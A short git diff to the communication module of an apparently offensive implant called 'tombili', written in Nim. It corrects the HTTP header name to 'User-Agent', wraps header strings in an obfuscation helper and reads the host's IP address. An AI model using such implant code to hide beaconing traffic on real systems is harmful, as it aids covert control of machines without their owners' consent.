diff --git a/implants/tombili/src/communication.nim b/implants/tombili/src/communication.nim
index 0a0577e..6e87b1d 100644
--- a/implants/tombili/src/communication.nim
+++ b/implants/tombili/src/communication.nim
@@ -18,7 +18,7 @@ const
     STATUS_INVALID*: int = 4
 
 let client: HttpClient = newHttpClient()
-client.headers = newHttpHeaders({obf("UserAgent"): USER_AGENT, obf("Content-Type"): obf("application/json")})
+client.headers = newHttpHeaders({obf("User-Agent"): USER_AGENT, obf("Content-Type"): obf("application/json")})
 
 let ip: string = $getPrimaryIPAddr()